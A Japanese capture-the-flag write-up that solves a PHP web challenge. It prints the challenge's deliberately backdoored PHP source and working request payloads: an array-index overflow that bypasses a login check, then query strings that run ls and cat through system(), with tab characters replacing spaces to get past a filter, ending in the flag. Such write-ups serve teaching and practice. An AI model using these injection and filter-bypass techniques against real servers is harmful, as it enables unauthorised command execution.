問題に提示されているリンクをクリックすると次のページが表示されます。

1

さらにGET STARTEDのボタンをクリックすると、http://167.99.36.112:8080/admin/?というURLへ遷移し、次のような文字列が表示されます。

2

次にhttp://167.99.36.112:8080/admin/を表示してみます。URLの最後が/index.phpでなければならないようです。

3

それでは、http://167.99.36.112:8080/admin/index.phpにアクセスしてみます。次の文字列が表示されます。/index.phpで終わるが、/admin/index.phpではダメなようです。

4

いろいろ試してみると、http://167.99.36.112:8080/admin/index.php/index.phpにアクセスすると、次のページが表示されました。

5

Click hereのリンクはhttp://167.99.36.112:8080/another/index.php?sourceへのリンクになっており、クリックすると、次のようにphpのソースが表示されます。パラメータをうまく送信することでshellを実行することができるようです。
<?php
include('oshit.php');
$g_s = ['admin','oloco'];
$__ni = $_POST['b'];
$_p = 1;
if(isset($_GET['source'])){
    highlight_file(__FILE__);
        exit;
}
if($__ni === $g_s & $__ni[0] != 'admin'){
    $__dgi = $_GET['x'];
    $__dfi = $_GET;
    foreach($__dfi as $_k_o => $_v){
        if($_k_o == $k_Jk){
            $f = 1;
        }
        if($f && strlen($__dgi)>17 && $_p == 3){
            $k_Jk($_v,$_k_o); //my shell :)
        }
        $_p++;
    }
}else{    
    echo "noob!";
}
まず、POSTでパラメータbを配列の形で’admin’と’oloco’の2つ送信する必要がありますが、0番目が’admin’ではダメなので、PHPのバグを利用して次のように送信してみます。2^32=4294967296です。これは配列での比較(===)では一致(True)となりますが、配列の0番目の要素にアクセスすると初期化されていないことになります。
b[4294967296]=admin&b[1]=oloco
Fiddlerで[Replay]-[Reissue and Edit]を使用して、次にようにリクエストを送信します。

6

レスポンスを確認すると、noob!という文字列が出力されませんのでパラメータbのチェックは通ったようです。

7

次のチェックですが、GETパラメータが以下のような条件を満たす必要があるようです。
  • xが17文字より長い 
  • 関数との比較が一致(==)しなければならない
  • 3つ目のパラメータのときにshellが実行される
  • 3つ目のパラメータの名前にコマンド、値にパラメータを指定する
関数との比較を通すために2つ目のパラメータに0を指定します。したがって、次のようなパラメータでうまくいくか試してみます。
?x=123456789012345678&0=0&ls=system
Fiddlerで次のようにリクエストを送信してみます。

8

次のようにlsコマンドの結果が返ってきます。

9

さて次に各ディレクトリの中をlsコマンドで見てみたいと思いますが、ls /varにようにスペースは使用することができません。そこでタブ(%09)を使用して次のようにリクエストを送信します。
?x=123456789012345678&0=0&ls%09/var=system
すると次のように結果が返ってきました。
backups
cache
flag
lib
local
lock
log
mail
opt
run
spool
tmp
www
flagファイルがありますので、catコマンドでファイルの中を見てみたいと思います。次のようにリクエストを送信します。
?x=123456789012345678&0=0&cat%09/var/flag=system
フラグが表示されました。
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}
フラグは、
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}
です。

初めてのPHP5 増補改訂版
David Sklar
オライリージャパン
2012-09-24